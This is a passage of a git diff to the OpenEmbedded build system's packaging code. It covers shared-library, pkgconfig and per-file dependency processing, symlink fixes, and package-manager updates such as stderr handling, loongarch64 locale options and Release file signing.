+ def mkdir_recurse(src, dest, paths):
+ if cpath.exists(dest + '/' + paths):
+ return
+ while paths.startswith("./"):
+ paths = paths[2:]
+ p = "."
+ for c in paths.split("/"):
+ p = os.path.join(p, c)
+ if not cpath.exists(os.path.join(dest, p)):
+ mkdir(src, dest, p)
+
+ if cpath.isdir(file) and not cpath.islink(file):
+ mkdir_recurse(dvar, root, file)
+ continue
+
+ mkdir_recurse(dvar, root, os.path.dirname(file))
+ fpath = os.path.join(root,file)
+ if not cpath.islink(file):
+ os.link(file, fpath)
+ continue
+ ret = bb.utils.copyfile(file, fpath)
+ if ret is False or ret == 0:
+ bb.fatal("File population failed")
+
+ # Check if symlink paths exist
+ for file in symlink_paths:
+ if not os.path.exists(os.path.join(root,file)):
+ bb.fatal("File '%s' cannot be packaged into '%s' because its "
+ "parent directory structure does not exist. One of "
+ "its parent directories is a symlink whose target "
+ "directory is not included in the package." %
+ (file, pkg))
+
+ os.umask(oldumask)
+ os.chdir(workdir)
+
+ # Handle excluding packages with incompatible licenses
+ package_list = []
+ for pkg in packages:
+ licenses = d.getVar('_exclude_incompatible-' + pkg)
+ if licenses:
+ msg = "Excluding %s from packaging as it has incompatible license(s): %s" % (pkg, licenses)
+ oe.qa.handle_error("incompatible-license", msg, d)
+ else:
+ package_list.append(pkg)
+ d.setVar('PACKAGES', ' '.join(package_list))
+
+ unshipped = []
+ for root, dirs, files in cpath.walk(dvar):
+ dir = root[len(dvar):]
+ if not dir:
+ dir = os.sep
+ for f in (files + dirs):
+ path = os.path.join(dir, f)
+ if ('.' + path) not in seen:
+ unshipped.append(path)
+
+ if unshipped != []:
+ msg = pn + ": Files/directories were installed but not shipped in any package:"
+ if "installed-vs-shipped" in (d.getVar('INSANE_SKIP:' + pn) or "").split():
+ bb.note("Package %s skipping QA tests: installed-vs-shipped" % pn)
+ else:
+ for f in unshipped:
+ msg = msg + "\n " + f
+ msg = msg + "\nPlease set FILES such that these items are packaged. Alternatively if they are unneeded, avoid installing them or delete them within do_install.\n"
+ msg = msg + "%s: %d installed and not shipped files." % (pn, len(unshipped))
+ oe.qa.handle_error("installed-vs-shipped", msg, d)
+
+def process_fixsymlinks(pkgfiles, d):
+ cpath = oe.cachedpath.CachedPath()
+ pkgdest = d.getVar('PKGDEST')
+ packages = d.getVar("PACKAGES", False).split()
+
+ dangling_links = {}
+ pkg_files = {}
+ for pkg in packages:
+ dangling_links[pkg] = []
+ pkg_files[pkg] = []
+ inst_root = os.path.join(pkgdest, pkg)
+ for path in pkgfiles[pkg]:
+ rpath = path[len(inst_root):]
+ pkg_files[pkg].append(rpath)
+ rtarget = cpath.realpath(path, inst_root, True, assume_dir = True)
+ if not cpath.lexists(rtarget):
+ dangling_links[pkg].append(os.path.normpath(rtarget[len(inst_root):]))
+
+ newrdepends = {}
+ for pkg in dangling_links:
+ for l in dangling_links[pkg]:
+ found = False
+ bb.debug(1, "%s contains dangling link %s" % (pkg, l))
+ for p in packages:
+ if l in pkg_files[p]:
+ found = True
+ bb.debug(1, "target found in %s" % p)
+ if p == pkg:
+ break
+ if pkg not in newrdepends:
+ newrdepends[pkg] = []
+ newrdepends[pkg].append(p)
+ break
+ if found == False:
+ bb.note("%s contains dangling symlink to %s" % (pkg, l))
+
+ for pkg in newrdepends:
+ rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS:' + pkg) or "")
+ for p in newrdepends[pkg]:
+ if p not in rdepends:
+ rdepends[p] = []
+ d.setVar('RDEPENDS:' + pkg, bb.utils.join_deps(rdepends, commasep=False))
+
+def process_filedeps(pkgfiles, d):
+ """
+ Collect perfile run-time dependency metadata
+ Output:
+ FILERPROVIDESFLIST:pkg - list of all files w/ deps
+ FILERPROVIDES:filepath:pkg - per file dep
+
+ FILERDEPENDSFLIST:pkg - list of all files w/ deps
+ FILERDEPENDS:filepath:pkg - per file dep
+ """
+ if d.getVar('SKIP_FILEDEPS') == '1':
+ return
+
+ pkgdest = d.getVar('PKGDEST')
+ packages = d.getVar('PACKAGES')
+ rpmdeps = d.getVar('RPMDEPS')
+
+ def chunks(files, n):
+ return [files[i:i+n] for i in range(0, len(files), n)]
+
+ pkglist = []
+ for pkg in packages.split():
+ if d.getVar('SKIP_FILEDEPS:' + pkg) == '1':
+ continue
+ if pkg.endswith('-dbg') or pkg.endswith('-doc') or pkg.find('-locale-') != -1 or pkg.find('-localedata-') != -1 or pkg.find('-gconv-') != -1 or pkg.find('-charmap-') != -1 or pkg.startswith('kernel-module-') or pkg.endswith('-src'):
+ continue
+ for files in chunks(pkgfiles[pkg], 100):
+ pkglist.append((pkg, files, rpmdeps, pkgdest))
+
+ processed = oe.utils.multiprocess_launch(oe.package.filedeprunner, pkglist, d)
+
+ provides_files = {}
+ requires_files = {}
+
+ for result in processed:
+ (pkg, provides, requires) = result
+
+ if pkg not in provides_files:
+ provides_files[pkg] = []
+ if pkg not in requires_files:
+ requires_files[pkg] = []
+
+ for file in sorted(provides):
+ provides_files[pkg].append(file)
+ key = "FILERPROVIDES:" + file + ":" + pkg
+ d.appendVar(key, " " + " ".join(provides[file]))
+
+ for file in sorted(requires):
+ requires_files[pkg].append(file)
+ key = "FILERDEPENDS:" + file + ":" + pkg
+ d.appendVar(key, " " + " ".join(requires[file]))
+
+ for pkg in requires_files:
+ d.setVar("FILERDEPENDSFLIST:" + pkg, " ".join(sorted(requires_files[pkg])))
+ for pkg in provides_files:
+ d.setVar("FILERPROVIDESFLIST:" + pkg, " ".join(sorted(provides_files[pkg])))
+
+def process_shlibs(pkgfiles, d):
+ cpath = oe.cachedpath.CachedPath()
+
+ exclude_shlibs = d.getVar('EXCLUDE_FROM_SHLIBS', False)
+ if exclude_shlibs:
+ bb.note("not generating shlibs")
+ return
+
+ lib_re = re.compile(r"^.*\.so")
+ libdir_re = re.compile(r".*/%s$" % d.getVar('baselib'))
+
+ packages = d.getVar('PACKAGES')
+
+ shlib_pkgs = []
+ exclusion_list = d.getVar("EXCLUDE_PACKAGES_FROM_SHLIBS")
+ if exclusion_list:
+ for pkg in packages.split():
+ if pkg not in exclusion_list.split():
+ shlib_pkgs.append(pkg)
+ else:
+ bb.note("not generating shlibs for %s" % pkg)
+ else:
+ shlib_pkgs = packages.split()
+
+ hostos = d.getVar('HOST_OS')
+
+ workdir = d.getVar('WORKDIR')
+
+ ver = d.getVar('PKGV')
+ if not ver:
+ msg = "PKGV not defined"
+ oe.qa.handle_error("pkgv-undefined", msg, d)
+ return
+
+ pkgdest = d.getVar('PKGDEST')
+
+ shlibswork_dir = d.getVar('SHLIBSWORKDIR')
+
+ def linux_so(file, pkg, pkgver, d):
+ needs_ldconfig = False
+ needed = set()
+ sonames = set()
+ renames = []
+ ldir = os.path.dirname(file).replace(pkgdest + "/" + pkg, '')
+ cmd = d.getVar('OBJDUMP') + " -p " + shlex.quote(file) + " 2>/dev/null"
+ fd = os.popen(cmd)
+ lines = fd.readlines()
+ fd.close()
+ rpath = tuple()
+ for l in lines:
+ m = re.match(r"\s+RPATH\s+([^\s]*)", l)
+ if m:
+ rpaths = m.group(1).replace("$ORIGIN", ldir).split(":")
+ rpath = tuple(map(os.path.normpath, rpaths))
+ for l in lines:
+ m = re.match(r"\s+NEEDED\s+([^\s]*)", l)
+ if m:
+ dep = m.group(1)
+ if dep not in needed:
+ needed.add((dep, file, rpath))
+ m = re.match(r"\s+SONAME\s+([^\s]*)", l)
+ if m:
+ this_soname = m.group(1)
+ prov = (this_soname, ldir, pkgver)
+ if not prov in sonames:
+ # if library is private (only used by package) then do not build shlib for it
+ if not private_libs or len([i for i in private_libs if fnmatch.fnmatch(this_soname, i)]) == 0:
+ sonames.add(prov)
+ if libdir_re.match(os.path.dirname(file)):
+ needs_ldconfig = True
+ if needs_ldconfig and snap_symlinks and (os.path.basename(file) != this_soname):
+ renames.append((file, os.path.join(os.path.dirname(file), this_soname)))
+ return (needs_ldconfig, needed, sonames, renames)
+
+ def darwin_so(file, needed, sonames, renames, pkgver):
+ if not os.path.exists(file):
+ return
+ ldir = os.path.dirname(file).replace(pkgdest + "/" + pkg, '')
+
+ def get_combinations(base):
+ #
+ # Given a base library name, find all combinations of this split by "." and "-"
+ #
+ combos = []
+ options = base.split(".")
+ for i in range(1, len(options) + 1):
+ combos.append(".".join(options[0:i]))
+ options = base.split("-")
+ for i in range(1, len(options) + 1):
+ combos.append("-".join(options[0:i]))
+ return combos
+
+ if (file.endswith('.dylib') or file.endswith('.so')) and not pkg.endswith('-dev') and not pkg.endswith('-dbg') and not pkg.endswith('-src'):
+ # Drop suffix
+ name = os.path.basename(file).rsplit(".",1)[0]
+ # Find all combinations
+ combos = get_combinations(name)
+ for combo in combos:
+ if not combo in sonames:
+ prov = (combo, ldir, pkgver)
+ sonames.add(prov)
+ if file.endswith('.dylib') or file.endswith('.so'):
+ rpath = []
+ p = subprocess.Popen([d.expand("${HOST_PREFIX}otool"), '-l', file], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
+ out, err = p.communicate()
+ # If returned successfully, process stdout for results
+ if p.returncode == 0:
+ for l in out.split("\n"):
+ l = l.strip()
+ if l.startswith('path '):
+ rpath.append(l.split()[1])
+
+ p = subprocess.Popen([d.expand("${HOST_PREFIX}otool"), '-L', file], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
+ out, err = p.communicate()
+ # If returned successfully, process stdout for results
+ if p.returncode == 0:
+ for l in out.split("\n"):
+ l = l.strip()
+ if not l or l.endswith(":"):
+ continue
+ if "is not an object file" in l:
+ continue
+ name = os.path.basename(l.split()[0]).rsplit(".", 1)[0]
+ if name and name not in needed[pkg]:
+ needed[pkg].add((name, file, tuple()))
+
+ def mingw_dll(file, needed, sonames, renames, pkgver):
+ if not os.path.exists(file):
+ return
+
+ if file.endswith(".dll"):
+ # assume all dlls are shared objects provided by the package
+ sonames.add((os.path.basename(file), os.path.dirname(file).replace(pkgdest + "/" + pkg, ''), pkgver))
+
+ if (file.endswith(".dll") or file.endswith(".exe")):
+ # use objdump to search for "DLL Name: .*\.dll"
+ p = subprocess.Popen([d.expand("${OBJDUMP}"), "-p", file], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ out, err = p.communicate()
+ # process the output, grabbing all .dll names
+ if p.returncode == 0:
+ for m in re.finditer(r"DLL Name: (.*?\.dll)$", out.decode(), re.MULTILINE | re.IGNORECASE):
+ dllname = m.group(1)
+ if dllname:
+ needed[pkg].add((dllname, file, tuple()))
+
+ if d.getVar('PACKAGE_SNAP_LIB_SYMLINKS') == "1":
+ snap_symlinks = True
+ else:
+ snap_symlinks = False
+
+ needed = {}
+
+ shlib_provider = oe.package.read_shlib_providers(d)
+
+ for pkg in shlib_pkgs:
+ private_libs = d.getVar('PRIVATE_LIBS:' + pkg) or d.getVar('PRIVATE_LIBS') or ""
+ private_libs = private_libs.split()
+ needs_ldconfig = False
+ bb.debug(2, "calculating shlib provides for %s" % pkg)
+
+ pkgver = d.getVar('PKGV:' + pkg)
+ if not pkgver:
+ pkgver = d.getVar('PV_' + pkg)
+ if not pkgver:
+ pkgver = ver
+
+ needed[pkg] = set()
+ sonames = set()
+ renames = []
+ linuxlist = []
+ for file in pkgfiles[pkg]:
+ soname = None
+ if cpath.islink(file):
+ continue
+ if hostos.startswith("darwin"):
+ darwin_so(file, needed, sonames, renames, pkgver)
+ elif hostos.startswith("mingw"):
+ mingw_dll(file, needed, sonames, renames, pkgver)
+ elif os.access(file, os.X_OK) or lib_re.match(file):
+ linuxlist.append(file)
+
+ if linuxlist:
+ results = oe.utils.multiprocess_launch(linux_so, linuxlist, d, extraargs=(pkg, pkgver, d))
+ for r in results:
+ ldconfig = r[0]
+ needed[pkg] |= r[1]
+ sonames |= r[2]
+ renames.extend(r[3])
+ needs_ldconfig = needs_ldconfig or ldconfig
+
+ for (old, new) in renames:
+ bb.note("Renaming %s to %s" % (old, new))
+ bb.utils.rename(old, new)
+ pkgfiles[pkg].remove(old)
+
+ shlibs_file = os.path.join(shlibswork_dir, pkg + ".list")
+ if len(sonames):
+ with open(shlibs_file, 'w') as fd:
+ for s in sorted(sonames):
+ if s[0] in shlib_provider and s[1] in shlib_provider[s[0]]:
+ (old_pkg, old_pkgver) = shlib_provider[s[0]][s[1]]
+ if old_pkg != pkg:
+ bb.warn('%s-%s was registered as shlib provider for %s, changing it to %s-%s because it was built later' % (old_pkg, old_pkgver, s[0], pkg, pkgver))
+ bb.debug(1, 'registering %s-%s as shlib provider for %s' % (pkg, pkgver, s[0]))
+ fd.write(s[0] + ':' + s[1] + ':' + s[2] + '\n')
+ if s[0] not in shlib_provider:
+ shlib_provider[s[0]] = {}
+ shlib_provider[s[0]][s[1]] = (pkg, pkgver)
+ if needs_ldconfig:
+ bb.debug(1, 'adding ldconfig call to postinst for %s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
+ if not postinst:
+ postinst = '#!/bin/sh\n'
+ postinst += d.getVar('ldconfig_postinst_fragment')
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+ bb.debug(1, 'LIBNAMES: pkg %s sonames %s' % (pkg, sonames))
+
+ assumed_libs = d.getVar('ASSUME_SHLIBS')
+ if assumed_libs:
+ libdir = d.getVar("libdir")
+ for e in assumed_libs.split():
+ l, dep_pkg = e.split(":")
+ lib_ver = None
+ dep_pkg = dep_pkg.rsplit("_", 1)
+ if len(dep_pkg) == 2:
+ lib_ver = dep_pkg[1]
+ dep_pkg = dep_pkg[0]
+ if l not in shlib_provider:
+ shlib_provider[l] = {}
+ shlib_provider[l][libdir] = (dep_pkg, lib_ver)
+
+ libsearchpath = [d.getVar('libdir'), d.getVar('base_libdir')]
+
+ for pkg in shlib_pkgs:
+ bb.debug(2, "calculating shlib requirements for %s" % pkg)
+
+ private_libs = d.getVar('PRIVATE_LIBS:' + pkg) or d.getVar('PRIVATE_LIBS') or ""
+ private_libs = private_libs.split()
+
+ deps = list()
+ for n in needed[pkg]:
+ # if n is in private libraries, don't try to search provider for it
+ # this could cause problem in case some abc.bb provides private
+ # /opt/abc/lib/libfoo.so.1 and contains /usr/bin/abc depending on system library libfoo.so.1
+ # but skipping it is still better alternative than providing own
+ # version and then adding runtime dependency for the same system library
+ if private_libs and len([i for i in private_libs if fnmatch.fnmatch(n[0], i)]) > 0:
+ bb.debug(2, '%s: Dependency %s covered by PRIVATE_LIBS' % (pkg, n[0]))
+ continue
+ if n[0] in shlib_provider.keys():
+ shlib_provider_map = shlib_provider[n[0]]
+ matches = set()
+ for p in itertools.chain(list(n[2]), sorted(shlib_provider_map.keys()), libsearchpath):
+ if p in shlib_provider_map:
+ matches.add(p)
+ if len(matches) > 1:
+ matchpkgs = ', '.join([shlib_provider_map[match][0] for match in matches])
+ bb.error("%s: Multiple shlib providers for %s: %s (used by files: %s)" % (pkg, n[0], matchpkgs, n[1]))
+ elif len(matches) == 1:
+ (dep_pkg, ver_needed) = shlib_provider_map[matches.pop()]
+
+ bb.debug(2, '%s: Dependency %s requires package %s (used by files: %s)' % (pkg, n[0], dep_pkg, n[1]))
+
+ if dep_pkg == pkg:
+ continue
+
+ if ver_needed:
+ dep = "%s (>= %s)" % (dep_pkg, ver_needed)
+ else:
+ dep = dep_pkg
+ if not dep in deps:
+ deps.append(dep)
+ continue
+ bb.note("Couldn't find shared library provider for %s, used by files: %s" % (n[0], n[1]))
+
+ deps_file = os.path.join(pkgdest, pkg + ".shlibdeps")
+ if os.path.exists(deps_file):
+ os.remove(deps_file)
+ if deps:
+ with open(deps_file, 'w') as fd:
+ for dep in sorted(deps):
+ fd.write(dep + '\n')
+
+def process_pkgconfig(pkgfiles, d):
+ packages = d.getVar('PACKAGES')
+ workdir = d.getVar('WORKDIR')
+ pkgdest = d.getVar('PKGDEST')
+
+ shlibs_dirs = d.getVar('SHLIBSDIRS').split()
+ shlibswork_dir = d.getVar('SHLIBSWORKDIR')
+
+ pc_re = re.compile(r'(.*)\.pc$')
+ var_re = re.compile(r'(.*)=(.*)')
+ field_re = re.compile(r'(.*): (.*)')
+
+ pkgconfig_provided = {}
+ pkgconfig_needed = {}
+ for pkg in packages.split():
+ pkgconfig_provided[pkg] = []
+ pkgconfig_needed[pkg] = []
+ for file in sorted(pkgfiles[pkg]):
+ m = pc_re.match(file)
+ if m:
+ pd = bb.data.init()
+ name = m.group(1)
+ pkgconfig_provided[pkg].append(os.path.basename(name))
+ if not os.access(file, os.R_OK):
+ continue
+ with open(file, 'r') as f:
+ lines = f.readlines()
+ for l in lines:
+ m = field_re.match(l)
+ if m:
+ hdr = m.group(1)
+ exp = pd.expand(m.group(2))
+ if hdr == 'Requires':
+ pkgconfig_needed[pkg] += exp.replace(',', ' ').split()
+ continue
+ m = var_re.match(l)
+ if m:
+ name = m.group(1)
+ val = m.group(2)
+ pd.setVar(name, pd.expand(val))
+
+ for pkg in packages.split():
+ pkgs_file = os.path.join(shlibswork_dir, pkg + ".pclist")
+ if pkgconfig_provided[pkg] != []:
+ with open(pkgs_file, 'w') as f:
+ for p in sorted(pkgconfig_provided[pkg]):
+ f.write('%s\n' % p)
+
+ # Go from least to most specific since the last one found wins
+ for dir in reversed(shlibs_dirs):
+ if not os.path.exists(dir):
+ continue
+ for file in sorted(os.listdir(dir)):
+ m = re.match(r'^(.*)\.pclist$', file)
+ if m:
+ pkg = m.group(1)
+ with open(os.path.join(dir, file)) as fd:
+ lines = fd.readlines()
+ pkgconfig_provided[pkg] = []
+ for l in lines:
+ pkgconfig_provided[pkg].append(l.rstrip())
+
+ for pkg in packages.split():
+ deps = []
+ for n in pkgconfig_needed[pkg]:
+ found = False
+ for k in pkgconfig_provided.keys():
+ if n in pkgconfig_provided[k]:
+ if k != pkg and not (k in deps):
+ deps.append(k)
+ found = True
+ if found == False:
+ bb.note("couldn't find pkgconfig module '%s' in any package" % n)
+ deps_file = os.path.join(pkgdest, pkg + ".pcdeps")
+ if len(deps):
+ with open(deps_file, 'w') as fd:
+ for dep in deps:
+ fd.write(dep + '\n')
+
+def read_libdep_files(d):
+ pkglibdeps = {}
+ packages = d.getVar('PACKAGES').split()
+ for pkg in packages:
+ pkglibdeps[pkg] = {}
+ for extension in ".shlibdeps", ".pcdeps", ".clilibdeps":
+ depsfile = d.expand("${PKGDEST}/" + pkg + extension)
+ if os.access(depsfile, os.R_OK):
+ with open(depsfile) as fd:
+ lines = fd.readlines()
+ for l in lines:
+ l.rstrip()
+ deps = bb.utils.explode_dep_versions2(l)
+ for dep in deps:
+ if not dep in pkglibdeps[pkg]:
+ pkglibdeps[pkg][dep] = deps[dep]
+ return pkglibdeps
+
+def process_depchains(pkgfiles, d):
+ """
+ For a given set of prefix and postfix modifiers, make those packages
+ RRECOMMENDS on the corresponding packages for its RDEPENDS.
+
+ Example: If package A depends upon package B, and A's .bb emits an
+ A-dev package, this would make A-dev Recommends: B-dev.
+
+ If only one of a given suffix is specified, it will take the RRECOMMENDS
+ based on the RDEPENDS of *all* other packages. If more than one of a given
+ suffix is specified, its will only use the RDEPENDS of the single parent
+ package.
+ """
+
+ packages = d.getVar('PACKAGES')
+ postfixes = (d.getVar('DEPCHAIN_POST') or '').split()
+ prefixes = (d.getVar('DEPCHAIN_PRE') or '').split()
+
+ def pkg_adddeprrecs(pkg, base, suffix, getname, depends, d):
+
+ #bb.note('depends for %s is %s' % (base, depends))
+ rreclist = bb.utils.explode_dep_versions2(d.getVar('RRECOMMENDS:' + pkg) or "")
+
+ for depend in sorted(depends):
+ if depend.find('-native') != -1 or depend.find('-cross') != -1 or depend.startswith('virtual/'):
+ #bb.note("Skipping %s" % depend)
+ continue
+ if depend.endswith('-dev'):
+ depend = depend[:-4]
+ if depend.endswith('-dbg'):
+ depend = depend[:-4]
+ pkgname = getname(depend, suffix)
+ #bb.note("Adding %s for %s" % (pkgname, depend))
+ if pkgname not in rreclist and pkgname != pkg:
+ rreclist[pkgname] = []
+
+ #bb.note('setting: RRECOMMENDS:%s=%s' % (pkg, ' '.join(rreclist)))
+ d.setVar('RRECOMMENDS:%s' % pkg, bb.utils.join_deps(rreclist, commasep=False))
+
+ def pkg_addrrecs(pkg, base, suffix, getname, rdepends, d):
+
+ #bb.note('rdepends for %s is %s' % (base, rdepends))
+ rreclist = bb.utils.explode_dep_versions2(d.getVar('RRECOMMENDS:' + pkg) or "")
+
+ for depend in sorted(rdepends):
+ if depend.find('virtual-locale-') != -1:
+ #bb.note("Skipping %s" % depend)
+ continue
+ if depend.endswith('-dev'):
+ depend = depend[:-4]
+ if depend.endswith('-dbg'):
+ depend = depend[:-4]
+ pkgname = getname(depend, suffix)
+ #bb.note("Adding %s for %s" % (pkgname, depend))
+ if pkgname not in rreclist and pkgname != pkg:
+ rreclist[pkgname] = []
+
+ #bb.note('setting: RRECOMMENDS:%s=%s' % (pkg, ' '.join(rreclist)))
+ d.setVar('RRECOMMENDS:%s' % pkg, bb.utils.join_deps(rreclist, commasep=False))
+
+ def add_dep(list, dep):
+ if dep not in list:
+ list.append(dep)
+
+ depends = []
+ for dep in bb.utils.explode_deps(d.getVar('DEPENDS') or ""):
+ add_dep(depends, dep)
+
+ rdepends = []
+ for pkg in packages.split():
+ for dep in bb.utils.explode_deps(d.getVar('RDEPENDS:' + pkg) or ""):
+ add_dep(rdepends, dep)
+
+ #bb.note('rdepends is %s' % rdepends)
+
+ def post_getname(name, suffix):
+ return '%s%s' % (name, suffix)
+ def pre_getname(name, suffix):
+ return '%s%s' % (suffix, name)
+
+ pkgs = {}
+ for pkg in packages.split():
+ for postfix in postfixes:
+ if pkg.endswith(postfix):
+ if not postfix in pkgs:
+ pkgs[postfix] = {}
+ pkgs[postfix][pkg] = (pkg[:-len(postfix)], post_getname)
+
+ for prefix in prefixes:
+ if pkg.startswith(prefix):
+ if not prefix in pkgs:
+ pkgs[prefix] = {}
+ pkgs[prefix][pkg] = (pkg[:-len(prefix)], pre_getname)
+
+ if "-dbg" in pkgs:
+ pkglibdeps = read_libdep_files(d)
+ pkglibdeplist = []
+ for pkg in pkglibdeps:
+ for k in pkglibdeps[pkg]:
+ add_dep(pkglibdeplist, k)
+ dbgdefaultdeps = ((d.getVar('DEPCHAIN_DBGDEFAULTDEPS') == '1') or (bb.data.inherits_class('packagegroup', d)))
+
+ for suffix in pkgs:
+ for pkg in pkgs[suffix]:
+ if d.getVarFlag('RRECOMMENDS:' + pkg, 'nodeprrecs'):
+ continue
+ (base, func) = pkgs[suffix][pkg]
+ if suffix == "-dev":
+ pkg_adddeprrecs(pkg, base, suffix, func, depends, d)
+ elif suffix == "-dbg":
+ if not dbgdefaultdeps:
+ pkg_addrrecs(pkg, base, suffix, func, pkglibdeplist, d)
+ continue
+ if len(pkgs[suffix]) == 1:
+ pkg_addrrecs(pkg, base, suffix, func, rdepends, d)
+ else:
+ rdeps = []
+ for dep in bb.utils.explode_deps(d.getVar('RDEPENDS:' + base) or ""):
+ add_dep(rdeps, dep)
+ pkg_addrrecs(pkg, base, suffix, func, rdeps, d)
diff --git a/meta/lib/oe/package_manager/__init__.py b/meta/lib/oe/package_manager/__init__.py
index 865d6f9493..6774cdb794 100644
--- a/meta/lib/oe/package_manager/__init__.py
+++ b/meta/lib/oe/package_manager/__init__.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -90,7 +92,7 @@ def opkg_query(cmd_output):
def failed_postinsts_abort(pkgs, log_path):
bb.fatal("""Postinstall scriptlets of %s have failed. If the intention is to defer them to first boot,
-then please place them into pkg_postinst_ontarget_${PN} ().
+then please place them into pkg_postinst_ontarget:${PN} ().
Deferring to first boot via 'exit 1' is no longer supported.
Details of the failure are in %s.""" %(pkgs, log_path))
@@ -120,7 +122,8 @@ def generate_locale_archive(d, rootfs, target_arch, localedir):
"riscv32": ["--uint32-align=4", "--little-endian"],
"i586": ["--uint32-align=4", "--little-endian"],
"i686": ["--uint32-align=4", "--little-endian"],
- "x86_64": ["--uint32-align=4", "--little-endian"]
+ "x86_64": ["--uint32-align=4", "--little-endian"],
+ "loongarch64": ["--uint32-align=4", "--little-endian"]
}
if target_arch in locale_arch_options:
arch_options = locale_arch_options[target_arch]
@@ -189,7 +192,7 @@ class PackageManager(object, metaclass=ABCMeta):
bb.utils.remove(self.intercepts_dir, True)
bb.utils.mkdirhier(self.intercepts_dir)
for intercept in postinst_intercepts:
- bb.utils.copyfile(intercept, os.path.join(self.intercepts_dir, os.path.basename(intercept)))
+ shutil.copy(intercept, os.path.join(self.intercepts_dir, os.path.basename(intercept)))
@abstractmethod
def _handle_intercept_failure(self, failed_script):
@@ -266,7 +269,7 @@ class PackageManager(object, metaclass=ABCMeta):
pass
@abstractmethod
- def install(self, pkgs, attempt_only=False):
+ def install(self, pkgs, attempt_only=False, hard_depends_only=False):
"""
Install a list of packages. 'pkgs' is a list object. If 'attempt_only' is
True, installation failures are ignored.
@@ -321,14 +324,18 @@ class PackageManager(object, metaclass=ABCMeta):
# TODO don't have sdk here but have a property on the superclass
# (and respect in install_complementary)
if sdk:
- pkgdatadir = self.d.expand("${TMPDIR}/pkgdata/${SDK_SYS}")
+ pkgdatadir = self.d.getVar("PKGDATA_DIR_SDK")
else:
pkgdatadir = self.d.getVar("PKGDATA_DIR")
try:
bb.note("Installing globbed packages...")
cmd = ["oe-pkgdata-util", "-p", pkgdatadir, "list-pkgs", globs]
- pkgs = subprocess.check_output(cmd, stderr=subprocess.STDOUT).decode("utf-8")
+ bb.note('Running %s' % cmd)
+ proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ stdout, stderr = proc.communicate()
+ if stderr: bb.note(stderr.decode("utf-8"))
+ pkgs = stdout.decode("utf-8")
self.install(pkgs.split(), attempt_only=True)
except subprocess.CalledProcessError as e:
# Return code 1 means no packages matched
@@ -340,10 +347,8 @@ class PackageManager(object, metaclass=ABCMeta):
def install_complementary(self, globs=None):
"""
Install complementary packages based upon the list of currently installed
- packages e.g. locales, *-dev, *-dbg, etc. This will only attempt to install
- these packages, if they don't exist then no error will occur. Note: every
- backend needs to call this function explicitly after the normal package
- installation
+ packages e.g. locales, *-dev, *-dbg, etc. Note: every backend needs to
+ call this function explicitly after the normal package installation.
"""
if globs is None:
globs = self.d.getVar('IMAGE_INSTALL_COMPLEMENTARY')
@@ -384,25 +389,29 @@ class PackageManager(object, metaclass=ABCMeta):
cmd.extend(['--exclude=' + '|'.join(exclude.split())])
try:
bb.note('Running %s' % cmd)
- complementary_pkgs = subprocess.check_output(cmd, stderr=subprocess.STDOUT).decode("utf-8")
+ proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ stdout, stderr = proc.communicate()
+ if stderr: bb.note(stderr.decode("utf-8"))
+ complementary_pkgs = stdout.decode("utf-8")
complementary_pkgs = set(complementary_pkgs.split())
skip_pkgs = sorted(complementary_pkgs & provided_pkgs)
install_pkgs = sorted(complementary_pkgs - provided_pkgs)
bb.note("Installing complementary packages ... %s (skipped already provided packages %s)" % (
' '.join(install_pkgs),
' '.join(skip_pkgs)))
- self.install(install_pkgs, attempt_only=True)
+ self.install(install_pkgs, hard_depends_only=True)
except subprocess.CalledProcessError as e:
bb.fatal("Could not compute complementary packages list. Command "
"'%s' returned %d:\n%s" %
(' '.join(cmd), e.returncode, e.output.decode("utf-8")))
- target_arch = self.d.getVar('TARGET_ARCH')
- localedir = oe.path.join(self.target_rootfs, self.d.getVar("libdir"), "locale")
- if os.path.exists(localedir) and os.listdir(localedir):
- generate_locale_archive(self.d, self.target_rootfs, target_arch, localedir)
- # And now delete the binary locales
- self.remove(fnmatch.filter(self.list_installed(), "glibc-binary-localedata-*"), False)
+ if self.d.getVar('IMAGE_LOCALES_ARCHIVE') == '1':
+ target_arch = self.d.getVar('TARGET_ARCH')
+ localedir = oe.path.join(self.target_rootfs, self.d.getVar("libdir"), "locale")
+ if os.path.exists(localedir) and os.listdir(localedir):
+ generate_locale_archive(self.d, self.target_rootfs, target_arch, localedir)
+ # And now delete the binary locales
+ self.remove(fnmatch.filter(self.list_installed(), "glibc-binary-localedata-*"), False)
def deploy_dir_lock(self):
if self.deploy_dir is None:
@@ -461,7 +470,10 @@ def create_packages_dir(d, subrepo_dir, deploydir, taskname, filterbydependencie
# Detect bitbake -b usage
nodeps = d.getVar("BB_LIMITEDDEPS") or False
if nodeps or not filterbydependencies:
- oe.path.symlink(deploydir, subrepo_dir, True)
+ for arch in d.getVar("ALL_MULTILIB_PACKAGE_ARCHS").split() + d.getVar("ALL_MULTILIB_PACKAGE_ARCHS").replace("-", "_").split():
+ target = os.path.join(deploydir + "/" + arch)
+ if os.path.exists(target):
+ oe.path.symlink(target, subrepo_dir + "/" + arch, True)
return
start = None
diff --git a/meta/lib/oe/package_manager/deb/__init__.py b/meta/lib/oe/package_manager/deb/__init__.py
index 72155b178c..0c23c884c1 100644
--- a/meta/lib/oe/package_manager/deb/__init__.py
+++ b/meta/lib/oe/package_manager/deb/__init__.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -53,6 +55,7 @@ class DpkgIndexer(Indexer):
index_cmds = []
deb_dirs_found = False
+ index_sign_files = set()
for arch in arch_list:
arch_dir = os.path.join(self.deploy_dir, arch)
if not os.path.isdir(arch_dir):
@@ -62,7 +65,10 @@ class DpkgIndexer(Indexer):
cmd += "%s -fcn Packages > Packages.gz;" % gzip
- with open(os.path.join(arch_dir, "Release"), "w+") as release:
+ release_file = os.path.join(arch_dir, "Release")
+ index_sign_files.add(release_file)
+
+ with open(release_file, "w+") as release:
release.write("Label: %s\n" % arch)
